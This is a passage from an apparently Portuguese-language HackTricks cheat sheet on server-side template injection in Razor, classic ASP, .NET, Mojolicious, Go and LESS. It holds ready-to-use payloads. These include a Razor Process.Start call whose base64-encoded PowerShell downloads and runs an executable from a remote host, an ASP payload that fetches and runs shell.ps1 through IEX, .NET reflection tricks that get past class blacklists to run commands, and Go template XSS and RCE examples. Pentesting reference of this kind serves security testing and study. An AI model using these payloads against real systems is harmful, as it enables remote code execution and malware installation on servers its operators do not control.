@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
O método .NET System.Diagnostics.Process.Start pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de webapp vulnerável em https://github.com/cnotin/RazorVulnerableApp
Mais informações
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
 - https://www.schtech.co.uk/razor-pages-ssti-rce/
 
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Mais Informações
.Net Contornando restrições
Os mecanismos .NET Reflection podem ser usados para contornar blacklisting ou a ausência de classes na assembly. DLLs podem ser carregadas em tempo de execução com métodos e propriedades acessíveis a partir de objetos básicos.
Dll's podem ser carregadas com:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- do sistema de arquivos.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- diretamente da request.
Execução completa do comando:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Mais informações
Mojolicious (Perl)
Mesmo sendo Perl, usa tags como ERB do Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI em Go
No mecanismo de templates do Go, a confirmação do seu uso pode ser feita com payloads específicos:
{{ . }}: Revela a estrutura de dados de entrada. Por exemplo, se um objeto com um atributoPasswordfor passado,{{ .Password }}poderia expô-lo.{{printf "%s" "ssti" }}: Espera-se que exiba a string "ssti".{{html "ssti"}},{{js "ssti"}}: Esses payloads devem retornar "ssti" sem acrescentar "html" ou "js". Diretrizes adicionais podem ser consultadas na documentação do Go here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
Exploração XSS
Com o pacote text/template, XSS pode ser direto ao inserir o payload diretamente. Em contraste, o pacote html/template codifica a resposta para prevenir isso (por exemplo, {{"<script>alert(1)</script>"}} resulta em <script>alert(1)</script>). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Exploração RCE
A exploração RCE difere significativamente entre html/template e text/template. O módulo text/template permite chamar qualquer função pública diretamente (usando o valor “call”), o que não é permitido em html/template. A documentação desses módulos está disponível here for html/template e here for text/template.
Para RCE via SSTI em Go, métodos de objetos podem ser invocados. Por exemplo, se o objeto fornecido tiver um método System que executa comandos, ele pode ser explorado como {{ .System "ls" }}. Geralmente é necessário acessar o código-fonte para explorar isso, como no exemplo dado:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Mais informação
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
 - https://www.onsecurity.io/blog/go-ssti-method-research/
 
LESS (Pré-processador CSS)
LESS é um popular pré-processador CSS que adiciona variáveis, mixins, funções e a poderosa diretiva @import. Durante a compilação o engine do LESS irá buscar os recursos referenciados em declarações @import e incorporar ("inline") seus conteúdos no CSS resultante quando a opção (inline) for usada.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
Mais Exploits
Confira o resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Também você pode encontrar informações interessantes sobre tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Ajuda Relacionada
Se achar que pode ser útil, leia:
Ferramentas
- https://github.com/Hackmanit/TInjA
 - https://github.com/vladko312/sstimap
 - https://github.com/epinna/tplmap
 - https://github.com/Hackmanit/template-injection-table
 
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Prática & Referências
- https://portswigger.net/web-security/server-side-template-injection/exploiting
 - https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
 - https://portswigger.net/web-security/server-side-template-injection
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks